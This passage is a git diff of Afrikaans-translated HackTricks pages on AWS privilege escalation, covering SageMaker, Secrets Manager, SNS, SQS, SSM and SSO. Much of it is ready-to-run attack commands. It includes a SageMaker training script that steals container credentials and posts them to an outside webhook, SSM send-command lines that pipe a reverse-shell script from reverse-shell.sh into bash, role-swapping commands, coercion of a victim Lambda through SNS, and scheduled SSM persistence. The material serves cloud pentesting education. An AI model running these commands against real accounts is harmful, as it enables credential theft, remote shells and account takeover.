verskafde rol. Script mode vereis dat die payload in S3 gehuisves word, maar alle stappe kan vanaf die CLI geoutomatiseer word: +```bash +REGION= +ROLE_ARN= +BUCKET=sm-hpo-privesc-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION + +# Allow public reads so any SageMaker role can pull the code +aws s3api put-public-access-block \ +--bucket $BUCKET \ +--public-access-block-configuration '{ +"BlockPublicAcls": false, +"IgnorePublicAcls": false, +"BlockPublicPolicy": false, +"RestrictPublicBuckets": false +}' + +aws s3api put-bucket-policy --bucket $BUCKET --policy "{ +\"Version\": \"2012-10-17\", +\"Statement\": [ +{ +\"Effect\": \"Allow\", +\"Principal\": \"*\", +\"Action\": \"s3:GetObject\", +\"Resource\": \"arn:aws:s3:::$BUCKET/*\" +} +] +}" + +cat <<'EOF' > /tmp/train.py +import os, time, urllib.request + +def main(): +meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI") +if not meta: +return +creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read() +req = urllib.request.Request( +"https://example.com/webhook", +data=creds, +headers={"Content-Type": "application/json"} +) +urllib.request.urlopen(req) +print("train:loss=0") +time.sleep(300) + +if __name__ == "__main__": +main() +EOF + +cd /tmp +tar -czf code.tar.gz train.py +aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read + +echo "dummy" > /tmp/input.txt +aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read + +IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310 +CODE_S3=s3://$BUCKET/code/train-code.tar.gz +TRAIN_INPUT_S3=s3://$BUCKET/input +OUTPUT_S3=s3://$BUCKET/output +# El rol necesita permisos ECR y escritura en el bucket. + +cat > /tmp/hpo-definition.json < + +# Choose a more-privileged role that already trusts sagemaker.amazonaws.com +ROLE_ARN=arn:aws:iam:::role/ + +# 2) Update the Studio profile to use the new role (no iam:PassRole) +aws sagemaker update-user-profile \ +--domain-id \ +--user-profile-name \ +--user-settings ExecutionRole=$ROLE_ARN + +aws sagemaker describe-user-profile \ +--domain-id \ +--user-profile-name \ +--query 'UserSettings.ExecutionRole' --output text + +# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level +aws sagemaker update-space \ +--domain-id \ +--space-name \ +--space-settings ExecutionRole=$ROLE_ARN + +aws sagemaker describe-space \ +--domain-id \ +--space-name \ +--query 'SpaceSettings.ExecutionRole' --output text + +# 4) Optionally, change the domain default so every profile inherits the new role +aws sagemaker update-domain \ +--domain-id \ +--default-user-settings ExecutionRole=$ROLE_ARN + +aws sagemaker describe-domain \ +--domain-id \ +--query 'DefaultUserSettings.ExecutionRole' --output text + +# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role +aws sagemaker create-app \ +--domain-id \ +--user-profile-name \ +--app-type JupyterServer \ +--app-name js-atk + +# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run: +# aws sts get-caller-identity # should reflect the new ExecutionRole +aws sagemaker create-presigned-domain-url \ +--domain-id \ +--user-profile-name \ +--query AuthorizedUrl --output text +``` +**Potensiële impak**: Privilege escalation na die toestemmings van die gespesifiseerde SageMaker-uitvoeringsrol vir interaktiewe Studio-sessies. + + +## Verwysings + +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) + + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md similarity index 52% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md index a57b1a9b2..344218f61 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md @@ -1,29 +1,29 @@ # AWS - Secrets Manager Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Secrets Manager -Vir meer inligting oor Secrets Manager kyk: +Vir meer inligting oor Secrets Manager sien: {{#ref}} -../aws-services/aws-secrets-manager-enum.md +../../aws-services/aws-secrets-manager-enum.md {{#endref}} ### `secretsmanager:GetSecretValue` -An attacker met hierdie toestemming kan die **gestoorde waarde binne 'n secret'** in AWS **Secretsmanager** kry. +'n aanvaller met hierdie toestemming kan die **gestoor waarde binne 'n geheim** in AWS **Secretsmanager** kry. ```bash aws secretsmanager get-secret-value --secret-id # Get value ``` -**Potensiële impak:** Toegang tot hoogs sensitiewe data binne die AWS secrets manager service. +**Potensiële impak:** Toegang tot hoogsensitiewe data binne die AWS Secrets Manager service. > [!WARNING] -> Let wel dat selfs met die `secretsmanager:BatchGetSecretValue` toestemming 'n aanvaller ook die `secretsmanager:GetSecretValue` toestemming nodig het om die sensitiewe secrets te kry. +> Let wel: selfs met die `secretsmanager:BatchGetSecretValue` toestemming sal 'n aanvaller ook `secretsmanager:GetSecretValue` nodig hê om die sensitiewe geheime te bekom. ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) -Met die vorige permissies is dit moontlik om **toegang te gee aan ander principals/accounts (selfs ekstern)** om toegang tot die **secret** te kry. Let wel dat om **secrets wat met 'n KMS key geënkripteer is** te lees, die gebruiker ook **toegang tot die KMS key** moet hê (meer info in die [KMS Enum page](../aws-services/aws-kms-enum.md)). +Met die vorige permissies is dit moontlik om **toegang te gee aan ander principals/accounts (selfs ekstern)** om toegang tot die **geheim** te kry. Let wel: om **geheime te lees wat met 'n KMS-sleutel versleuteld is**, moet die gebruiker ook **toegang tot die KMS-sleutel** hê (meer info in die [KMS Enum page](../../aws-services/aws-kms-enum.md)). ```bash aws secretsmanager list-secrets aws secretsmanager get-resource-policy --secret-id @@ -45,4 +45,4 @@ policy.json: ] } ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md deleted file mode 100644 index e7ce73776..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - SNS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## SNS - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-sns-enum.md -{{#endref}} - -### `sns:Publish` - -'n Aanvaller kan kwaadwillige of ongewenste boodskappe na die SNS-tema stuur, wat moontlik datakorruptie kan veroorsaak, onbedoelde aksies kan ontketen, of hulpbronne kan uitput. -```bash -aws sns publish --topic-arn --message -``` -**Potensiële Impak**: Kwetsbaarheid benutting, Data korrupsie, onbedoelde aksies, of hulpbron uitputting. - -### `sns:Subscribe` - -'n Aanvaller kan inteken op 'n SNS onderwerp, wat moontlik ongeoorloofde toegang tot boodskappe verleen of die normale funksionering van toepassings wat op die onderwerp staatmaak, ontwrig. -```bash -aws sns subscribe --topic-arn --protocol --endpoint -``` -**Potensiële Impak**: Onbevoegde toegang tot boodskappe (sensitiewe inligting), diensonderbreking vir toepassings wat op die betrokke onderwerp staatmaak. - -### `sns:AddPermission` - -'n Aanvaller kan onbevoegde gebruikers of dienste toegang tot 'n SNS-onderwerp verleen, wat moontlik verdere toestemmings kan verkry. -```css -aws sns add-permission --topic-arn --label --aws-account-id --action-name -``` -**Potensiële Impak**: Onbevoegde toegang tot die onderwerp, boodskapblootstelling, of onderwerpmanipulasie deur onbevoegde gebruikers of dienste, ontwrigting van normale funksionering vir toepassings wat op die onderwerp staatmaak. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md new file mode 100644 index 000000000..226242c3c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md @@ -0,0 +1,80 @@ +# AWS - SNS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +Vir meer inligting sien: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### `sns:Publish` + +'n aanvaller kan skadelike of ongewenste boodskappe na die SNS-topic stuur, wat moontlik databeskadiging veroorsaak, onbedoelde aksies uitlok, of hulpbronne uitput. +```bash +aws sns publish --topic-arn --message +``` +**Potensiële impak**: Uitbuiting van kwesbaarhede, data-korrupsie, onbedoelde handelinge, of uitputting van hulpbronne. + +### `sns:Subscribe` + +'n aanvaller kan op 'n SNS-onderwerp inteken, waardeur hy moontlik ongemagtigde toegang tot boodskappe verkry of die normale werking van toepassings wat op die onderwerp staatmaak, ontwrig. +```bash +aws sns subscribe --topic-arn --protocol --endpoint +``` +**Potensiële impak**: Ongemagtigde toegang tot boodskappe (sensitiewe inligting), diensonderbreking vir toepassings wat afhanklik is van die betrokke topic. + +### `sns:AddPermission` + +’n Aanvaller kan ongemagtigde gebruikers of dienste toegang tot ’n SNS topic verleen, wat moontlik verdere regte kan oplewer. +```bash +aws sns add-permission --topic-arn --label --aws-account-id --action-name +``` +**Potensiële impak**: Ongemagtigde toegang tot die topic, blootstelling van boodskappe, of manipulasie van die topic deur ongemagtigde gebruikers of dienste, ontwrigting van normale werking vir toepassings wat op die topic staatmaak. + + +### Roep 'n Lambda aan deur wildcard SNS-magtiging te misbruik (geen `SourceArn`) + +As 'n Lambda-funksie se resource-based policy toelaat dat `sns.amazonaws.com` dit aanroep sonder om die bron-topic (`SourceArn`) te beperk, kan enige SNS-topic (selfs in 'n ander account) inteken en die funksie trigger. 'n Aanvaller met basiese SNS-permissies kan die Lambda dwing om uit te voer onder sy IAM-rol met aanvallersbeheerde invoer. + +> [!TIP] +> TODO: Kan dit regtig cross-account gedoen word? + +Voorvereistes +- Slagoffer se Lambda-policy bevat 'n stelling soos hieronder, met GEEN `SourceArn`-voorwaarde: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": {"Service": "sns.amazonaws.com"}, +"Action": "lambda:InvokeFunction" +// No Condition/SourceArn restriction here +} +] +} +``` +Misbruikstappe (dieselfde of cross-account) +```bash +# 1) Create a topic you control +ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text) + +# 2) Subscribe the victim Lambda to your topic +aws sns subscribe \ +--region us-east-1 \ +--topic-arn "$ATTACKER_TOPIC_ARN" \ +--protocol lambda \ +--notification-endpoint arn:aws:lambda:us-east-1::function: + +# 3) Publish an attacker-controlled message to trigger the Lambda +aws sns publish \ +--region us-east-1 \ +--topic-arn "$ATTACKER_TOPIC_ARN" \ +--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}' +``` +**Potential Impact**: Die slagoffer Lambda word uitgevoer met sy IAM role en verwerk invoer wat deur die aanvaller beheer word. Dit kan misbruik word om die funksie gevoelige aksies te laat uitvoer (bv., skryf na S3, toegang tot secrets, wysig hulpbronne), afhangende van sy toestemmings. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md deleted file mode 100644 index 3abdb5df1..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ /dev/null @@ -1,40 +0,0 @@ -# AWS - SQS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### `sqs:AddPermission` - -'n Aanvaller kan hierdie toestemming gebruik om ongemagtigde gebruikers of dienste toegang tot 'n SQS-ry te gee deur nuwe beleide te skep of bestaande beleide te wysig. Dit kan lei tot ongemagtigde toegang tot die boodskappe in die ry of manipulasie van die ry deur ongemagtigde entiteite. -```bash -cssCopy codeaws sqs add-permission --queue-url --actions --aws-account-ids --label -``` -**Potensiële Impak**: Onbevoegde toegang tot die wachtrij, boodskapblootstelling, of wachtrijmanipulasie deur onbevoegde gebruikers of dienste. - -### `sqs:SendMessage` , `sqs:SendMessageBatch` - -'n Aanvaller kan kwaadwillige of ongewenste boodskappe na die SQS-wachtrij stuur, wat moontlik datakorruptie kan veroorsaak, onbedoelde aksies kan aktiveer, of hulpbronne kan uitput. -```bash -aws sqs send-message --queue-url --message-body -aws sqs send-message-batch --queue-url --entries -``` -**Potensiële Impak**: Kwetsbaarheid eksplorasie, Data korrupsie, onbedoelde aksies, of hulpbron uitputting. - -### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` - -'n Aanvaller kan boodskappe in 'n SQS-ry ontvang, verwyder of die sigbaarheid van boodskappe verander, wat kan lei tot boodskapverlies, datakorrupsie, of diensonderbreking vir toepassings wat op daardie boodskappe staatmaak. -```bash -aws sqs receive-message --queue-url -aws sqs delete-message --queue-url --receipt-handle -aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout -``` -**Potensiële Impak**: Steel sensitiewe inligting, Boodskapverlies, datakorruptie, en diensonderbreking vir toepassings wat op die geraakte boodskappe staatmaak. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md new file mode 100644 index 000000000..f455b5341 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md @@ -0,0 +1,40 @@ +# AWS - SQS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +Vir meer inligting, sien: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### `sqs:AddPermission` + +’ n aanvaller kan hierdie toestemming gebruik om ongemagtigde gebruikers of dienste toegang tot ’n SQS queue te verleen deur nuwe beleide te skep of bestaande beleide te wysig. Dit kan lei tot ongemagtigde toegang tot die boodskappe in die queue of tot die manipulering van die queue deur ongemagtigde entiteite. +```bash +aws sqs add-permission --queue-url --actions --aws-account-ids --label +``` +**Potensiële impak**: Ongemagtigde toegang tot die waglys, blootstelling van boodskappe, of manipulering van die waglys deur ongemagtigde gebruikers of dienste. + +### `sqs:SendMessage` , `sqs:SendMessageBatch` + +An attacker kan kwaadwillige of ongewenste boodskappe na die SQS-waglys stuur, wat moontlik datakorrupsie veroorsaak, onbedoelde aksies aktiveer, of hulpbronne uitput. +```bash +aws sqs send-message --queue-url --message-body +aws sqs send-message-batch --queue-url --entries +``` +**Potensiële impak**: Kwesbaarheidseksploitasie, datakorrupsie, onbedoelde aksies, of hulpbronuitputting. + +### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` + +’n aanvaller kan boodskappe in ’n SQS-ry ontvang, verwyder of die sigbaarheid daarvan verander, wat boodskapverlies, datakorrupsie of diensonderbreking vir toepassings wat op daardie boodskappe staatmaak, kan veroorsaak. +```bash +aws sqs receive-message --queue-url +aws sqs delete-message --queue-url --receipt-handle +aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout +``` +**Potensiële impak**: Steel sensitiewe inligting, boodskapverlies, datakorrupsie, en diensonderbreking vir toepassings wat op die geraakte boodskappe staatmaak. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md deleted file mode 100644 index 593985904..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ /dev/null @@ -1,130 +0,0 @@ -# AWS - SSM Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## SSM - -Vir meer inligting oor SSM, kyk: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -### `ssm:SendCommand` - -'n Aanvaller met die toestemming **`ssm:SendCommand`** kan **opdragte uitvoer in instansies** wat die Amazon SSM Agent draai en **die IAM Rol** wat binne dit loop, **kompromitteer**. -```bash -# Check for configured instances -aws ssm describe-instance-information -aws ssm describe-sessions --state Active - -# Send rev shell command -aws ssm send-command --instance-ids "$INSTANCE_ID" \ ---document-name "AWS-RunShellScript" --output text \ ---parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" -``` -In die geval dat jy hierdie tegniek gebruik om bevoegdhede binne 'n reeds gecompromitteerde EC2-instansie te verhoog, kan jy net die rev shell plaaslik vang met: -```bash -# If you are in the machine you can capture the reverseshel inside of it -nc -lvnp 4444 #Inside the EC2 instance -aws ssm send-command --instance-ids "$INSTANCE_ID" \ ---document-name "AWS-RunShellScript" --output text \ ---parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" -``` -**Potensiële Impak:** Direkte privesc na die EC2 IAM rolle wat aan lopende instansies met SSM Agents gekoppel is. - -### `ssm:StartSession` - -'n Aanvaller met die toestemming **`ssm:StartSession`** kan **'n SSH-agtige sessie in instansies** wat die Amazon SSM Agent draai, **begin en die IAM Rol** wat binne dit loop, **kompromitteer**. -```bash -# Check for configured instances -aws ssm describe-instance-information -aws ssm describe-sessions --state Active - -# Send rev shell command -aws ssm start-session --target "$INSTANCE_ID" -``` -> [!CAUTION] -> Om 'n sessie te begin, moet die **SessionManagerPlugin** geïnstalleer wees: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) - -**Potensiële Impak:** Direkte privesc na die EC2 IAM rolle wat aan lopende instansies met SSM Agents gekoppel is. - -#### Privesc na ECS - -Wanneer **ECS take** met **`ExecuteCommand` geaktiveer** loop, kan gebruikers met genoeg regte `ecs execute-command` gebruik om **'n opdrag** binne die houer uit te voer.\ -Volgens [**die dokumentasie**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) word dit gedoen deur 'n veilige kanaal te skep tussen die toestel wat jy gebruik om die “_exec_“ opdrag te begin en die teikenhouer met SSM Session Manager. (SSM Session Manager Plugin is nodig vir dit om te werk)\ -Daarom sal gebruikers met `ssm:StartSession` in staat wees om **'n shell binne ECS take** te verkry met daardie opsie geaktiveer deur net te loop: -```bash -aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" -``` -![](<../../../images/image (185).png>) - -**Potensiële Impak:** Direkte privesc na die `ECS`IAM rolle wat aan lopende take met `ExecuteCommand` geaktiveer is, geheg is. - -### `ssm:ResumeSession` - -'n Aanvaller met die toestemming **`ssm:ResumeSession`** kan 'n **SSH-agtige sessie in instansies** wat die Amazon SSM Agent draai met 'n **afgekoppelde** SSM sessietoestand her-**begin en die IAM Rol** wat binne dit loop, kompromitteer. -```bash -# Check for configured instances -aws ssm describe-sessions - -# Get resume data (you will probably need to do something else with this info to connect) -aws ssm resume-session \ ---session-id Mary-Major-07a16060613c408b5 -``` -**Potensiële Impak:** Direkte privesc na die EC2 IAM rolle wat aan lopende instansies met SSM Agents wat loop en ontkoppelde sessies geheg is. - -### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) - -'n Aanvaller met die genoemde toestemmings gaan in staat wees om die **SSM parameters** te lys en **dit in duidelike teks te lees**. In hierdie parameters kan jy dikwels **sensitiewe inligting** soos SSH sleutels of API sleutels vind. -```bash -aws ssm describe-parameters -# Suppose that you found a parameter called "id_rsa" -aws ssm get-parameters --names id_rsa --with-decryption -aws ssm get-parameter --name id_rsa --with-decryption -``` -**Potensiële Impak:** Vind sensitiewe inligting binne die parameters. - -### `ssm:ListCommands` - -'n Aanvaller met hierdie toestemming kan al die **opdragte** lys wat gestuur is en hoopvol **sensitiewe inligting** daarop vind. -``` -aws ssm list-commands -``` -**Potensiële Impak:** Vind sensitiewe inligting binne die opdraglyne. - -### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) - -'n Aanvaller met hierdie toestemmings kan al die **opdragte** lys wat gestuur is en **die uitvoer** lees wat gegenereer is, in die hoop om **sensitiewe inligting** daarop te vind. -```bash -# You can use any of both options to get the command-id and instance id -aws ssm list-commands -aws ssm list-command-invocations - -aws ssm get-command-invocation --command-id --instance-id -``` -**Potensiële Impak:** Vind sensitiewe inligting binne die uitvoer van die opdraglyne. - -### Gebruik van ssm:CreateAssociation - -'n Aanvaller met die toestemming **`ssm:CreateAssociation`** kan 'n State Manager Association skep om outomaties opdragte op EC2-instances wat deur SSM bestuur word, uit te voer. Hierdie assosiasies kan gekonfigureer word om op 'n vaste interval te loop, wat hulle geskik maak vir agterdeur-agtige volharding sonder interaktiewe sessies. -```bash -aws ssm create-association \ ---name SSM-Document-Name \ ---targets Key=InstanceIds,Values=target-instance-id \ ---parameters commands=["malicious-command"] \ ---schedule-expression "rate(30 minutes)" \ ---association-name association-name -``` -> [!NOTE] -> Hierdie volhardingsmetode werk solank die EC2-instantie deur Systems Manager bestuur word, die SSM-agent loop, en die aanvaller toestemming het om assosiasies te skep. Dit vereis nie interaktiewe sessies of eksplisiete ssm:SendCommand-toestemmings nie. **Belangrik:** Die `--schedule-expression` parameter (bv. `rate(30 minutes)`) moet AWS se minimum interval van 30 minute respekteer. Vir onmiddellike of eenmalige uitvoering, laat `--schedule-expression` heeltemal weg — die assosiasie sal een keer na skep uitgevoer word. - -### Codebuild - -Jy kan ook SSM gebruik om binne 'n codebuild-projek wat gebou word, te kom: - -{{#ref}} -aws-codebuild-privesc.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md new file mode 100644 index 000000000..588f095d5 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md @@ -0,0 +1,130 @@ +# AWS - SSM Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## SSM + +Vir meer inligting oor SSM, sien: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +### `ssm:SendCommand` + +’n aanvaller met die toestemming **`ssm:SendCommand`** kan **kommandos op instansies uitvoer** wat die Amazon SSM Agent laat loop en die **IAM Role** wat daarin loop kompromitteer. +```bash +# Check for configured instances +aws ssm describe-instance-information +aws ssm describe-sessions --state Active + +# Send rev shell command +aws ssm send-command --instance-ids "$INSTANCE_ID" \ +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" +``` +As jy hierdie tegniek gebruik om privileges te escalate binne 'n reeds gekompromitteerde EC2 instance, kan jy net die rev shell lokaal opvang met: +```bash +# If you are in the machine you can capture the reverseshel inside of it +nc -lvnp 4444 #Inside the EC2 instance +aws ssm send-command --instance-ids "$INSTANCE_ID" \ +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" +``` +**Potensiële impak:** Direkte privesc op die EC2 IAM-rolle wat aan lopende instances met SSM Agents aangeheg is. + +### `ssm:StartSession` + +'n aanvaller met die toestemming **`ssm:StartSession`** kan **'n SSH-agtige sessie op instansies begin** wat die Amazon SSM Agent uitvoer en **kompromitteer die IAM Role** wat daarin loop. +```bash +# Check for configured instances +aws ssm describe-instance-information +aws ssm describe-sessions --state Active + +# Send rev shell command +aws ssm start-session --target "$INSTANCE_ID" +``` +> [!CAUTION] +> Om 'n sessie te begin benodig jy die **SessionManagerPlugin** geïnstalleer: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) + +**Potensiële impak:** Direkte privesc na die EC2 IAM rolle wat aangeheg is aan lopende instances met SSM Agents wat aan die gang is. + +#### Privesc na ECS + +Wanneer **ECS tasks** met **`ExecuteCommand` geaktiveer** loop, kan gebruikers met genoegsame toestemmings `ecs execute-command` gebruik om **'n opdrag uit te voer** binne die container.\ +Volgens [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) word dit gedoen deur 'n veilige kanaal te skep tussen die toestel wat jy gebruik om die “_exec_“ opdrag te inisieer en die teiken-container met SSM Session Manager. (SSM Session Manager Plugin nodig vir dit om te werk)\ +Daarom sal gebruikers met `ssm:StartSession` in staat wees om **'n shell binne ECS tasks te kry** met daardie opsie geaktiveer deur net die volgende te hardloop: +```bash +aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" +``` +![](<../../../images/image (185).png>) + +**Potensiële impak:** Direkte privesc na die `ECS`IAM roles wat aan lopende tasks met `ExecuteCommand` geaktiveer is. + +### `ssm:ResumeSession` + +'n aanvaller met die toestemming **`ssm:ResumeSession`** kan her-**begin 'n SSH-agtige sessie in instances** wat die Amazon SSM Agent uitvoer met 'n **verbroke** SSM session state en **kompromitteer die IAM Role** wat daarin loop. +```bash +# Check for configured instances +aws ssm describe-sessions + +# Get resume data (you will probably need to do something else with this info to connect) +aws ssm resume-session \ +--session-id Mary-Major-07a16060613c408b5 +``` +**Potensiële impak:** Direkte privesc na die EC2 IAM-rolle wat aangeheg is aan lopende instansies met SSM Agents wat hardloop en ontkoppelde sessies. + +### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) + +’n Aanvaller met die genoemde permissies sal die vermoë hê om die **SSM parameters** te lys en hulle in **clear-text** te lees. In hierdie parameters kan jy dikwels **sensitiewe inligting vind** soos SSH-sleutels of API-sleutels. +```bash +aws ssm describe-parameters +# Suppose that you found a parameter called "id_rsa" +aws ssm get-parameters --names id_rsa --with-decryption +aws ssm get-parameter --name id_rsa --with-decryption +``` +**Potensiële impak:** Vind sensitiewe inligting binne die parameters. + +### `ssm:ListCommands` + +An attacker met hierdie toestemming kan al die **kommando's** wat gestuur is lys en hopelik **sensitiewe inligting** daarop vind. +``` +aws ssm list-commands +``` +**Potensiële impak:** Vind sensitiewe inligting binne die command-reëls. + +### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) + +'n aanvaller met hierdie toestemmings kan alle gestuurde **commands** lys en **die gegenereerde output lees**, en hopelik **sensitiewe inligting** daarin vind. +```bash +# You can use any of both options to get the command-id and instance id +aws ssm list-commands +aws ssm list-command-invocations + +aws ssm get-command-invocation --command-id --instance-id +``` +**Potensiële impak:** Vind sensitiewe inligting in die uitset van opdragreëls. + +### Gebruik van ssm:CreateAssociation + +'n aanvaller met die toestemming **`ssm:CreateAssociation`** kan 'n State Manager Association skep om opdragte outomaties uit te voer op EC2-instansies wat deur SSM bestuur word. Hierdie associations kan gekonfigureer word om op 'n vaste interval te loop, wat dit geskik maak vir backdoor-like persistence sonder interaktiewe sessies. +```bash +aws ssm create-association \ +--name SSM-Document-Name \ +--targets Key=InstanceIds,Values=target-instance-id \ +--parameters commands=["malicious-command"] \ +--schedule-expression "rate(30 minutes)" \ +--association-name association-name +``` +> [!NOTE] +> Hierdie persisteringsmetode werk solank die EC2-instansie deur Systems Manager bestuur word, die SSM agent loop, en die aanvaller toestemming het om associations te skep. Dit vereis nie interaktiewe sessies of eksplisiete ssm:SendCommand-toestemmings nie. **Belangrik:** Die `--schedule-expression` parameter (bv. `rate(30 minutes)`) moet AWS se minimuminterval van 30 minute respekteer. Vir onmiddellike of eenmalige uitvoering, laat `--schedule-expression` heeltemal weg — die association sal eenkeer uitgevoer word nadat dit geskep is. + +### Codebuild + +Jy kan ook SSM gebruik om toegang te kry tot 'n codebuild-projek wat opgebou word: + +{{#ref}} +../aws-codebuild-privesc/README.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md similarity index 57% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md index 0feb8ce96..b76d34759 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md @@ -1,33 +1,33 @@ # AWS - SSO & identitystore Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## AWS Identity Center / AWS SSO -Vir meer inligting oor AWS Identity Center / AWS SSO, kyk: +Vir meer inligting oor AWS Identity Center / AWS SSO, sien: {{#ref}} -../aws-services/aws-iam-enum.md +../../aws-services/aws-iam-enum.md {{#endref}} > [!WARNING] -> Let daarop dat slegs **gebruikers** met **toestemmings** **van** die **Bestuursrekening** toegang sal hê tot en **beheer** oor die IAM Identity Center.\ -> Gebruikers van ander rekeninge kan 